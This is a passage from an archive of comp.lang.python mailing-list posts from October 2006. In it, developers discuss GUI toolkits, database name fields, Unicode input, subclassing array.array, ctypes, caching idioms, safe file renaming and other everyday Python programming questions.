> textbook that teaches how to actually implement it 

Yes, this can be another problem. But FWIW, most modern GUI toolkits
already do a big part of the job.

> (and other design patterns 
> which are useful for database applications) in a real-world application in a 
> way that leads to non-ridiculous behaviour of the resulting application when 
> it gets actually used.

There are some known anti-patterns at least. Like selecting a whole
table (preferably with all attributes) then looping thru the result set
just to count the number of records in the table (don't laugh, I've
actually seens this (and even worse) in production code).

But given your concerns, I don't think you'd do such a thing anyway !-)



-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From gagsl-py at yahoo.com.ar  Wed Oct 11 16:47:12 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 11 Oct 2006 17:47:12 -0300
Subject: error handling
In-Reply-To: <1160594180.913653.268200@m7g2000cwm.googlegroups.com>
References: <mailman.325.1160583556.11739.python-list@python.org>
	<1160594180.913653.268200@m7g2000cwm.googlegroups.com>
Message-ID: <7.0.1.0.0.20061011174528.04116678@yahoo.com.ar>

At Wednesday 11/10/2006 16:16, Bernard wrote:

>I just found this webpage showing the most common exceptions:
>http://pydoc.org/1.5.2/exceptions.html

Why not refer to the *current* documentation?
http://docs.python.org/lib/module-exceptions.html
(You already have it installed with Python)

1.5.2 is way too old!


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From rdsteph at mac.com  Wed Oct 25 09:33:24 2006
From: rdsteph at mac.com (rdsteph at mac.com)
Date: 25 Oct 2006 06:33:24 -0700
Subject: python GUIs comparison (want)
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
Message-ID: <1161783204.875966.164720@b28g2000cwb.googlegroups.com>

Paul Boddie wrote:

"""The figures behind the scenes are quite enlightening for that
particular page. If you (or community experiences) don't agree with the

rankings (wxPython apparently even easier to learn than PythonCard and
Tinder, a bunch of Gtk-based toolkits having more or less "full" Linux
scores) then you'll have some surprises, I'm sure. Nevertheless, it's
an interesting concept. """

Well, I don't know what I was thinking, exactly, when I rated
PythonCard's ease of use...so I went back and changed it to rate it a
lot higher. The ratings in this script were done a long time ago now
and I need to re-do them, and add some new categories to rate also.
Maybe this weekend...

I have been thinking about doing a new version of this script that
allows visitors to the web site to enter their own ratings for each GUI
toolkit, for each criterion, store them by CGI and calculate a running
average of the ratings, maybe eliminating the very extreme high and low
scores to weed out spam, etc. Then, a visitor could use an online
script with each GUI toolkit rated by the "community" for each
criterion. I could do the same for Python IDE's, web frameworks, etc.

Still, these would still be toys and not to be taken too seriously, but
I might do it as a little project nonetheless.

Concerning GUI toolkits, I find myself coming back to Tkinter these
days. A lot of Python programs are written using Tkinter. I like to
fool around with a lot of the old stuff on the web for free,
miscellaneous apps and such, and there are still more Tkinter GUI's out
there than anything else.

Recently I have been having fun figuring out which new phone to buy. I
decided to get a smart phone that could run Python. If I lived in
Europe, or anywhere GSM rules, one of the Nokia series 60 would be a no
-brainer. But here in the USA, I will probably will wind up getting a
Windows based model.

Guess what: Folks have Tkinter up and running on Pocket PC's and
smartphones. I like that. Tkinter is everywhere. Don't forget, the
Komodo IDE has a Tk based GUI builder.

Just my 2 cents worth...

Ron Stephens

P.S. There is a 3 hour lecture by Dr. Sergio Rey of San Diego St. U. I
am putting up as a podcast. He teaches a course in Python in the
graduate department of Geographical Sciences. Python is heavily used in
that field of study (as is Tkinter).

The lecture is in 2 parts. Sound quality is excellent. <a
href="http://www.awaretek.com/python/index.html">Tkinter podcasts</a>



From steve at holdenweb.com  Tue Oct 10 06:13:34 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Oct 2006 11:13:34 +0100
Subject: People's names (was Re: sqlite3 error)
In-Reply-To: <463ff4860610100246q7601bc35y278706c73f7c2e0c@mail.gmail.com>
References: <JnzSg.36$1n3.471@news.tufts.edu>	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>	<yCQSg.41$1n3.351@news.tufts.edu>	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>	<mailman.912.1159494600.10491.python-list@python.org>	<eg98qb$6a3$1@lust.ihug.co.nz>
	<463ff4860610100246q7601bc35y278706c73f7c2e0c@mail.gmail.com>
Message-ID: <egfrmn$63t$1@sea.gmane.org>

Theerasak Photha wrote:
> On 10/7/06, Lawrence D'Oliveiro <ldo at geek-central.gen.new_zealand> wrote:
> 
> 
>>Just because most Western designers of databases do it wrong doesn't mean
>>that a) you should do it wrong, or b) they will continue to do it wrong
>>into the future, as increasing numbers of those designers come from Asian
>>and other non-Western backgrounds.
> 
> 
> Family name comes last in some Asian countries as well. :)
> 
> It might also be prudent to consider that, e.g,, some Tamils only have
> a last name for legal purposes and traditionally go by a single name.
> Lots of possibilities to consider.
> 
> 
>>I wonder if we need another "middle" field for holding the "bin/binte" part
>>(could also hold, e.g. "Van" for those names that use this).
> 
> 
> Also 'da' for Portuguese, which means roughly same as
> Nederlands/Vlaams. Maybe. As usual: IANAE.
> 
> 
>>There would also need to be a flag field to indicate the canonical ordering
>>for writing out the full name: e.g. family-name-first, given-names-first.
>>Do we need something else for the Vietnamese case?
> 
> 
> Good question, but IIRC, family name comes first followed by any other
> given names, just as in a literary index written in English: e.g.,
> Truman, Harry S
> 
> What if you're Ho Chi Minh? Do you get to list aliases indefinitely? LOL
> 
It seems like some sort of free text search on a "full name" field looks 
like the only realistic globally-acceptable (?) option.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From kw at kevin-walzer.com  Fri Oct 20 09:47:21 2006
From: kw at kevin-walzer.com (Kevin Walzer)
Date: Fri, 20 Oct 2006 09:47:21 -0400
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <mailman.807.1161323009.11739.python-list@python.org>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<mailman.807.1161323009.11739.python-list@python.org>
Message-ID: <4538D369.60605@kevin-walzer.com>

Fredrik Lundh wrote:

> 
> on the other hand, such wrappers are usually extremely simple, and the
> mapping between Python and Tk is trivial.  there's simply not much to
> add to the existing Tk module docs.

I think I might simply have to bite the bullet, actually use some of
these documented wrappers, perhaps even tweak/improve them, and then
release something that shows what's possible with them. And perhaps even
write up some "user-friendly" docs.  :-)

> 
>> Am I better off biting the bullet and learning wxPython--a different GUI
>> paradigm to go with the new language I'm trying to learn?
> 
> that's almost designed to get "wx rul3z d00d" replies from the wx crowd.
>  let's see if they bite.

That certainly wasn't my intention.
> 
>> What do other Tkinter developers think?
> 
> "Those people who have nothing better to do than post on the Internet
> all day long are rarely the ones who have the most insights"
> 
> if you want to reach Tkinter developers, the following forum might be
> more appropriate:
> 
>     http://mail.python.org/mailman/listinfo/tkinter-discuss
> 
> that list is more focussed on solving specific problems, though; Tkinter
> developers just don't seem very interested in arguments about world
> domination.  guess we've inherited that from the Tcl world, or maybe
> we're just too busy doing stuff ;-)
> 

I subscribe to that list. I agree that this particular question is
off-topic for that list.

By way of clarification, one of the things I have in mind in terms of
"sophisticated GUI's" can be found on these pages at the Tcl'ers wiki:

http://wiki.tcl.tk/13636

This page is focused on Tcl/Tk apps using the Tile extension, but many
of these apps also use extensions like Tablelist and Tktreectrl. I
haven't seen any shiny screenshots of Python apps using these extensions
yet.

Another example, that doesn't use Tile, is PgAccess:

http://www.pgaccess.org/index.php?page=NewPgAccessEnglish

This app makes use of BWidgets and Tablelist, in particular, to good
effect.

This gives you some idea of the target I'm aiming at, anyway.

-- 
Kevin Walzer
Poetic Code
http://www.kevin-walzer.com/software/


From jstroud at mbi.ucla.edu  Tue Oct  3 08:04:53 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Tue, 03 Oct 2006 12:04:53 GMT
Subject: py2app console
In-Reply-To: <P9sUg.1250$NE6.423@newssvr11.news.prodigy.com>
References: <P9sUg.1250$NE6.423@newssvr11.news.prodigy.com>
Message-ID: <FlsUg.1253$NE6.1180@newssvr11.news.prodigy.com>

James Stroud wrote:
> Hello,
> 
> Does anyone know of the most straightforward way to get rid of the 
> intensely annoying "console" window that py2app feels so compelled to 
> create?
> 
> On a related but less important note, why would anyone want that stupid 
> window in the first place?
> 
> James

I should mention that this is the ridiculously pointless Tcl shell 
created when deploying a TkAqua application with py2app. Surely there 
has to be a better place to practice one's Tcl programming than from the 
console window of a bundled application that would otherwise be fit for 
end-users--except for the stupid Tcl console that no one will bother to 
use but is just frickin' desktop clutter.

## This is not the stdout console of the shell terminal, etc. ##

James


From hanumizzle at gmail.com  Tue Oct 10 04:32:25 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 04:32:25 -0400
Subject: does raw_input() return unicode?
In-Reply-To: <egfl44$d53$1@sea.gmane.org>
References: <12iln7en9ipit77@corp.supernews.com>
	<452b5190$0$29833$9b622d9e@news.freenet.de>
	<463ff4860610100109n20a174b8lc546be2c46d25363@mail.gmail.com>
	<egfl44$d53$1@sea.gmane.org>
Message-ID: <463ff4860610100132p69059b46s4f6d8297ba382a7c@mail.gmail.com>

On 10/10/06, Fredrik Lundh <fredrik at pythonware.com> wrote:

> Martin was probably thinking of the standard distribution.
>
> The 2.3 note says that "raw_input() *can* return Unicode", not that it
> "should" or "must" do it.

Practically speaking, at the heart of the matter: as of Python 2.5
final, does or can raw_input() return Unicode under the appropriate
circumstances, according to user wishes?

(Yes, I would test, but I am presently away from my Linux box with
Python, and can't install it here.)

-- Theerasak


From nogradi at gmail.com  Sun Oct 29 15:41:15 2006
From: nogradi at gmail.com (Daniel Nogradi)
Date: Sun, 29 Oct 2006 21:41:15 +0100
Subject: looping through two list simultenously
In-Reply-To: <1162153701.052043.160030@h48g2000cwc.googlegroups.com>
References: <1162153701.052043.160030@h48g2000cwc.googlegroups.com>
Message-ID: <5f56302b0610291241o701adb09udc5f851515597ab0@mail.gmail.com>

> folks
> I have two lists
>
>  i am trying to loop thorough them simultenously.
>
> Here is the code i am using

[...]

> Is there any efficient doing this
>

Try the zip function:

>>> list1 = [ 'a', 'b', 'c' ]
>>> list2 = [ 'A', 'B', 'C' ]
>>> for i, j in zip( list1, list2 ):
...     print i, j
...
a A
b B
c C


From __peter__ at web.de  Wed Oct  4 04:20:37 2006
From: __peter__ at web.de (Peter Otten)
Date: Wed, 04 Oct 2006 10:20:37 +0200
Subject: Need help with syntax on inheritance.
References: <1159927793.600354.150330@b28g2000cwb.googlegroups.com>
Message-ID: <efvqp8$nug$03$1@news.t-online.com>

SpreadTooThin wrote:

> If you are deriving a new class from another class,
> that you must (I assume) know the initializer of the other class.
> 
> So in myClass
> 
> import array
> class myClass(arrary.array):
>    def __init__(self, now here I need to put array's constructor
> parameters..., then mine):
>       array.array.__init__(self, typecode[, initializer])
>       self.mine = mine
> 
> So I'm confused...
> array has a typecode parameter and an optional initiializer...
> So could you help me with the class construction here please?

Normally you would do 

# won't work
class Array(array.array):
    def __init__(self, typecode, initalizer=(), mine=None):
        array.array.__init__(self, typecode, initializer)
        self.mine = mine

However, array.array is a bit harder to subclass:

# should work
class Array(array.array):
    def __new__(cls, typecode, initializer=(), mine=None):
        return array.array.__new__(cls, typecode, initializer)
    def __init__(self, typecode, initializer=(), mine=None):
        array.array.__init__(self, typecode, initializer) 
        self.mine = mine

See if you can get away by making the array an attribute of your class
instead.

Peter


From steve at holdenweb.com  Fri Oct  6 06:03:15 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 06 Oct 2006 11:03:15 +0100
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
In-Reply-To: <4omn7jFfe26cU1@uni-berlin.de>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>	<mailman.1388.1160089812.10491.python-list@python.org>	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>
	<4omn7jFfe26cU1@uni-berlin.de>
Message-ID: <eg59jd$4h8$1@sea.gmane.org>

Diez B. Roggisch wrote:
[...]
> 
>>really very important (if you don't look to much at the subject but the
>>message contents).
> 
> 
> All that I have seen were some accusations + a few ridiculously small 
> subversion entries that showed default parameters changed and the like.
> 
> This is on the same level of interest to the communities of python, ruby 
> & java as the color of my socks this morning - a deep black with cute 
> little skulls imprinted.
> 
I have to say I find the colour of your socks *much* more interesting.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From outstretchedarm at hotmail.com  Fri Oct 27 23:02:48 2006
From: outstretchedarm at hotmail.com (Omar)
Date: 27 Oct 2006 20:02:48 -0700
Subject: "Music Theory Programming" Google Group
In-Reply-To: <1161987363.432687.40240@e3g2000cwe.googlegroups.com>
References: <1161976872.726877.200380@i3g2000cwc.googlegroups.com>
	<1161987363.432687.40240@e3g2000cwe.googlegroups.com>
Message-ID: <1162004568.395750.159330@e3g2000cwe.googlegroups.com>

see you over there!



From xmlhacker at gmail.com  Thu Oct 26 12:57:02 2006
From: xmlhacker at gmail.com (M. David Peterson)
Date: Thu, 26 Oct 2006 10:57:02 -0600
Subject: [IronPython] [ANN] IronPython Community Edition r3
In-Reply-To: <5b0248170610260859w6a46ca98rb48847be6de08ded@mail.gmail.com>
References: <5b0248170610260859w6a46ca98rb48847be6de08ded@mail.gmail.com>
Message-ID: <eab75e160610260957x3e4e930el4fac21a32224238d@mail.gmail.com>

Yee Hah! :D  Thanks Seo! :D >
http://www.oreillynet.com/xml/blog/2006/10/seo_sanghyeonipce_ironpython_c.html

On 10/26/06, Sanghyeon Seo <sanxiyn at gmail.com> wrote:
>
> This is the third release of IronPython Community Edition (IPCE).
>
> Get it here.
> http://sparcs.kaist.ac.kr/~tinuviel/download/IPCE-r3.zip
>
> This release is also available on SourceForge mirrors near you.
> http://sourceforge.net/projects/fepy
>
> IPCE has a homepage. You can read about licenses and patches there.
> There's also some new documentations like FePy Library Reference.
> http://fepy.sourceforge.net/
>
> Changes in this release:
>
> * Latest and greatest!
>
> Updated to IronPython 1.0.1.
> Updated to CPython 2.4.4.
> Compiled with Mono 1.1.18.
>
> * Relicensed under the MIT license, for those who found previous
> license terms (Do What The Fuck You Want To Public License) offensive,
> or humor-impaired.
>
> * New CPython-compatible wrappers.
>
> zlib, using System.IO.Compression.
> hashlib, using System.Security.Cryptography.
> sqlite3, using generic DB-API module already developed.
>
> hashlib and sqlite3 are modules new in CPython 2.5.
>
> * Updated CPython-compatible wrappers.
>
> Numerous updates to pyexpat. Previously, pyexpat.py was only intended
> to run ElementTree. It is now compatible enough to run xml.dom and
> xml.sax codes.
>
> * Patches to Python standard library.
>
> patch-stdlib-tarfile-null-terminated fixes (arguably) a bug.
>
> patch-stdlib-httplib-disable-idna and patch-stdlib-xml-sax-import are
> workarounds, but changes are minimal and make using httplib and
> xml.sax much better on IronPython.
>
> --
> Seo Sanghyeon
> _______________________________________________
> users mailing list
> users at lists.ironpython.com
> http://lists.ironpython.com/listinfo.cgi/users-ironpython.com
>



-- 
/M:D

M. David Peterson
http://mdavid.name | http://www.oreillynet.com/pub/au/2354
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From bjobrien62 at gmail.com  Mon Oct 23 17:49:15 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 23 Oct 2006 14:49:15 -0700
Subject: mean ans std dev of an array?
Message-ID: <1161640155.326890.288440@i42g2000cwa.googlegroups.com>

import array
a = array.array('f', [1,2,3])

print a.mean()
print a.std_dev()

Is there a way to calculate the mean and standard deviation on array
data?

Do I need to import it into a Numeric Array to do this?



From tkondal at gmail.com  Wed Oct  4 14:18:16 2006
From: tkondal at gmail.com (tkondal at gmail.com)
Date: 4 Oct 2006 11:18:16 -0700
Subject: Having trouble using CTypes with a custom function
Message-ID: <1159985896.742017.313430@e3g2000cwe.googlegroups.com>

Hi all.

I just started looking at Python's ctypes lib and I am having trouble
using it for a function.

For starters, here's my Python code:


from ctypes import*;
myStringDLL= cdll.LoadLibrary("myStringDLL.dll");

GetMyString = getattr(myStringDLL,
"?GetMyString@@YA_NAAV?$basic_string at DU?$char_traits at D@std@@V?$allocator at D@2@@std@@@Z")

strString =  create_string_buffer('\000' * 256);
GetMyString.restype = c_int;
GetMyString.argtypes = [c_char_p];

bResult = GetMyString (strSerialNumber);

print (bResult);
print (strSerialNumber);

#C++ Prototype of the function I want to call:
#bool GetMyString (string& stringParam) ;




I do not have access to the source code of this function so don't ask
me to try different things in C++.  This DLL is working fine.

The problem that I have is that print (strSerialNumber) does not seem
to print the correct string.  What I get is some garbage value of
unprintable characters.  Am I using this the correct way?

Thanks.



From kay.schluehr at gmx.net  Tue Oct 10 14:40:28 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 10 Oct 2006 11:40:28 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>
	<mailman.209.1160486725.11739.python-list@python.org>
	<zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>
	<1160502439.729432.13480@h48g2000cwc.googlegroups.com>
Message-ID: <1160505628.841415.71210@i42g2000cwa.googlegroups.com>

fumanchu wrote:

> > 4) Custom property and component editors: A component editor can present
> > a property editor or an editor for an entire component which the visual
> > design-time RAD environment can use to allow the programmer end-user of
> > the component to set or get component property values. Normally a design
> > time environment will present default property editors for each
> > component property type, but a component can override this.
>
> This is the hard part. I believe Dabo has done some work in this space,
> but this is where the tight coupling comes in between code and tool, a
> coupling which Python has traditionally resisted.

I do think it's just about presenting component properties and their
types / value ranges. I do think this can be easily achieved using
decorators that might also add the right kind of token for
introspection purposes to the function/method attributes. Descriptors
i.e. customized binding semantics might cover one aspect of
componentization but as I understood Edward he asked for uniform
declarative semantics. Components in this sense are just specialized
objects such as TestCase classes in the PyUnit framework. What I still
do not understand is the reference to "many RAD" tools which is
completely hypothetical to me. The portability of components across
different GUI designers for the same underlying toolkit is a quite
speculative future requirement to say the least.



From deets at nospam.web.de  Sun Oct  8 08:27:27 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sun, 08 Oct 2006 14:27:27 +0200
Subject: Newbie - Stuck
In-Reply-To: <1160309372.750331.8140@m7g2000cwm.googlegroups.com>
References: <1160309372.750331.8140@m7g2000cwm.googlegroups.com>
Message-ID: <4os95fFg13j8U2@uni-berlin.de>

r3bol at yahoo.com schrieb:
> The perl version of this code works but not the python version. What am
> I doing wrong?
> 
> message = "abc"
> password = "z12"
> 
> scrambled = message ^ password
> 
> I also wondered why this errored as well...
> 
> int(messege)
> 
> Is it not meant to convert a string to a number?

Including error messages & stacktraces helps tremendously when asking 
such questions - especially on a weekend, when our crystall balls are in 
maintenance in the elves headquarters at the north pole.

Diez


From fredrik at pythonware.com  Mon Oct 23 11:56:46 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 23 Oct 2006 17:56:46 +0200
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
In-Reply-To: <453ce1a9$0$25910$ba4acef3@news.orange.fr>
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>
Message-ID: <ehioo2$fef$1@sea.gmane.org>

M?ta-MCI wrote:

> For the professional developments, it is a major risk.

some days, I ask myself why I shouldn't just use GPL for everything I 
do, and ship it as source code only.

</F>



From istvan.albert at gmail.com  Mon Oct  9 09:04:49 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 9 Oct 2006 06:04:49 -0700
Subject: switching to numpy and failing, a user story
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>
	<mailman.33.1160258991.11739.python-list@python.org>
Message-ID: <1160399089.004617.120480@h48g2000cwc.googlegroups.com>

Fernando Perez wrote:

> It's funny how I don't see anyone complaining about any of the Python books
> sold here (or at any other publishing house):

That is maybe because the language is fairly well documented to begin
with. Try to imagine for a moment how many people would use Python if
on the first page of documentation you'd see a link sending you to buy
the book...

No one is questioning one's right to try to sell a product/book etc.
But I happen to believe that trying to make money by selling the docs
is stupid, you'll scare away potential users, hinder the acceptance of
the product, further fragment the community of users needing such
functionality. Once I hit the page asking me to pay even before telling
me what NumPy does, I went back to Numeric. Even now I can't tell in
what way is NumPy different from Numeric or Numarray  (I understand
that implementation wise it is different).

In the past I have donated to several open source projects (and
individual developers) whose work saved me a lot of time, I don't mind
the cost of it. But I just can't see doing the same in a "pay it
forward" fashion.

I wish the author all the best, with the remark that in this day and
age with the pervasive need for large scale management/analysis he
would/could make a lot more money by fostering relationships with
research groups (private/university)  and selling his scientific
computing (support) expertise rather then a pdf file.

That's all.



From jmpurser at gmail.com  Fri Oct 13 12:31:13 2006
From: jmpurser at gmail.com (John Purser)
Date: Fri, 13 Oct 2006 09:31:13 -0700
Subject: IDE
In-Reply-To: <4zOXg.1918$uv5.11354@twister1.libero.it>
References: <4zOXg.1918$uv5.11354@twister1.libero.it>
Message-ID: <1160757073.5317.0.camel@localhost.localdomain>

On Fri, 2006-10-13 at 15:48 +0000, giuseppe wrote:
> What is the better IDE software for python programming?
> 
> many thanks
> 
> joe 
> 
> 

Joe,

Find the best Python programmer and ask him/her.

John Purser



From anthra.norell at vtxmail.ch  Tue Oct 31 06:06:10 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Tue, 31 Oct 2006 12:06:10 +0100
Subject: Where do nested functions live?
In-Reply-To: <Xns986C693B37DFDrtwfreenetREMOVEcouk@216.196.109.145>
References: <4qhf11Fn4g9fU1@uni-berlin.de>	<mailman.1428.1162113628.11739.python-list@python.org>
	<Xns986C693B37DFDrtwfreenetREMOVEcouk@216.196.109.145>
Message-ID: <45472E22.2050009@vtxmail.ch>

Rob Williscroft wrote:
> Frederic Rentsch wrote in news:mailman.1428.1162113628.11739.python-
> list at python.org in comp.lang.python:
>
>   
>>    def increment_time (interval_ms):
>>       outer weeks, days, hours, minutes, seconds, mseconds   # 'outer' 
>> akin to 'global'
>>       (...)
>>       mseconds = new_ms - s * 1000        # Assignee remains outer
>>       m, seconds = divmod (s, 60)
>>       h, minutes = divmod (m, 60)
>>       d, hours = divmod (h, 24)
>>       weeks, days = divmod (d, 7)         # No return necessary
>>
>> The call would now be:
>>
>>    increment_time (msec)                  # No reassignment necessary
>>
>>
>> Hope this makes sense
>>     
>
> Yes it does, but I prefer explicit in this case:
>
> def whatever( new_ms ):
>   class namespace( object ):
>     pass
>   scope = namespace()
>
>   def inner():
>     scope.mseconds = new_ms - s * 1000       
>     m, scope.seconds = divmod (s, 60)
>     h, scope.minutes = divmod (m, 60)
>     d, scope.hours = divmod (h, 24)
>     scope.weeks, scope.days = divmod (d, 7)        
>
>   

This is interesting. I am not too familiar with this way of using 
objects. Actually it isn't all that different from a list, because a 
list is also an object. But this way it's attribute names instead of 
list indexes which is certainly easier to work with. Very good!

> The only thing I find anoying is that I can't write:
>
>   scope = object()
>  
> Additionally if appropriate I can refactor further:
>
> def whatever( new_ms ):
>   class namespace( object ):
>     def inner( scope ):
>       scope.mseconds = new_ms - s * 1000       
>       m, scope.seconds = divmod (s, 60)
>       h, scope.minutes = divmod (m, 60)
>       d, scope.hours = divmod (h, 24)
>       scope.weeks, scope.days = divmod (d, 7)    
>
>   scope = namespace()
>   scope.inner()
>
> In short I think an "outer" keyword (or whatever it gets called)
> will just add another way of doing something I can already do,
> and potentially makes further refactoring harder.
>
>   

Here I'm lost. What's the advantage of this? It looks more convoluted. 
And speaking of convoluted, what about efficiency? There is much talk of 
efficiency on this forum. I (crudely) benchmark your previous example 
approximately three times slower than a simple inner function taking and 
returning three parameters. It was actually the aspect of increased 
efficiency that prompted me to play with the idea of allowing direct 
outer writes.

> Thats -2 import-this points already.
>
>   

Which ones are the two?

> Rob.
>   

Frederic




From johnjsal at NOSPAMgmail.com  Wed Oct 25 16:01:01 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 20:01:01 GMT
Subject: cleaner way to write this?
In-Reply-To: <ocP%g.7775$5i7.6064@newsreading01.news.tds.net>
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
	<%dO%g.151$1n3.4135@news.tufts.edu>
	<7x8xj4i5gq.fsf@ruckus.brouhaha.com>
	<qHO%g.153$1n3.4133@news.tufts.edu>
	<7xzmbkgq5h.fsf@ruckus.brouhaha.com>
	<UOO%g.155$1n3.3672@news.tufts.edu>
	<ocP%g.7775$5i7.6064@newsreading01.news.tds.net>
Message-ID: <1oP%g.160$1n3.4136@news.tufts.edu>

Neil Cerutti wrote:

>   This completes our C version [of a csv reading library]. It
>   handles arbitrarily large inputs and does something sensible
>   even with perverse data. The price is that it is more than four
>   times as long as the first prototype and some of the code is
>   intricate. Such expansion of size and complexity is a typical
>   result of moving from prototype to production.

LOL. Guess I'm doing things right, then? ;)


From fredrik at pythonware.com  Thu Oct 26 16:20:25 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 22:20:25 +0200
Subject: conditional computation
In-Reply-To: <ehr2bu$24l9$1@ulysses.news.tiscali.de>
References: <ehr2bu$24l9$1@ulysses.news.tiscali.de>
Message-ID: <ehr5a9$po7$1@sea.gmane.org>

robert wrote:

> I want to use a computation cache scheme like
> 
> 	o = CACHECOMPUTE  complex-key-expr  expensive-calc-expr 
> 
> frequently and elegantly without writing complex-key-expr or expensive-calc-expr twice.
> So its ugly:
> 
> 	_=complex-key-expr; o=cache.get(_) or cache.setdefault(_,expensive-calc-expr)
> 
> Any ideas?

in Python 2.5:

     cache = collections.defaultdict(lambda: expensive-calc-expr)
     value = cache[complex-key-expr]

or, if expensive-calc-expr needs access to the key:

     class mycache(dict):
         def __missing__(self, key):
             value = expensive-calc-expr(key)
             self[key] = value
             return value

     cache = mycache()
     value = cache[complex-key-expr]

or, if expensive-calc-expr needs access to more than just the key, or 
you need to run this on more than just 2.5:

     cache = {}

     key = complex-key-expr
     try:
         value = cache[key]
     except KeyError:
         value = cache[key] = expensive-calc-expr

</F>



From deets at nospam.web.de  Sat Oct 28 20:55:14 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sun, 29 Oct 2006 02:55:14 +0200
Subject: Safely renaming a file without overwriting
In-Reply-To: <318d14-t8e.ln1@darkstargames.dnsalias.net>
References: <pan.2006.10.28.10.13.32.415330@REMOVE.THIS.cybersource.com.au>
	<72sb14-08j.ln1@darkstargames.dnsalias.net>
	<pan.2006.10.28.22.15.24.785616@REMOVE.THIS.cybersource.com.au>
	<j62d14-pkv.ln1@darkstargames.dnsalias.net>
	<pan.2006.10.28.22.40.49.922035@REMOVE.THIS.cybersource.com.au>
	<318d14-t8e.ln1@darkstargames.dnsalias.net>
Message-ID: <4qicffFna8baU1@uni-berlin.de>

Wolfgang Draxinger schrieb:
> Steven D'Aprano wrote:
> 
>> But the source file always exists, otherwise there is nothing
>> to rename! Do you mean, open the destination filename?
> 
> Of course I meant the destination file. Someone please spill some
> ice chilled water over me to get me awake again. Time to go to
> bed :-P before I make more dumb mistakes/typos...

But that doesn't help. Opening the destination file that way will only 
make a difference if _both_ processes that fight over that filename work 
that way. Which might be possible in the actual case, but not as a 
general recipe.

The link/unlink trick of Chetan sounds reasonable, though.


From gabor at nekomancer.net  Wed Oct 25 15:03:47 2006
From: gabor at nekomancer.net (gabor)
Date: Wed, 25 Oct 2006 21:03:47 +0200
Subject: new-style classes, __hash__. is the documentation wrong?
Message-ID: <a04a6$453fb511$59ad1aca$1677@news.flashnewsgroups.com>

hi,

if you have a new-style class,

it will have a __hash__ method, even if you don't define it,
because it inherits from object().

and, if you implement __eq__, then that default-hash-value will be 
probably wrong.

i understand that this is a bug, and described here:

http://www.python.org/sf/660098

but please look at the documentation about __hash__ here:

http://docs.python.org/ref/customization.html

it says:

====
If a class defines mutable objects and implements a __cmp__() or 
__eq__() method, it should not implement __hash__(), since the 
dictionary implementation requires that a key's hash value is immutable 
(if the object's hash value changes, it will be in the wrong hash bucket).
====

now, with new style classes, the class will have __hash__, whatever i 
do. (well, i assume i could play with __getattribute__...).

so is that part of the documentation currently wrong?

because from what i see (the bug will not be fixed),
it's still much safer to define a __hash__ even for mutable objects 
(when the object also defines __eq__).

gabor


From jpd at whispertel.LoseTheH.net  Thu Oct 12 11:35:34 2006
From: jpd at whispertel.LoseTheH.net (John Doty)
Date: Thu, 12 Oct 2006 09:35:34 -0600
Subject: Standard Forth versus Python: a case study
In-Reply-To: <sJrXg.46560$DU3.23285@tornado.texas.rr.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<sJrXg.46560$DU3.23285@tornado.texas.rr.com>
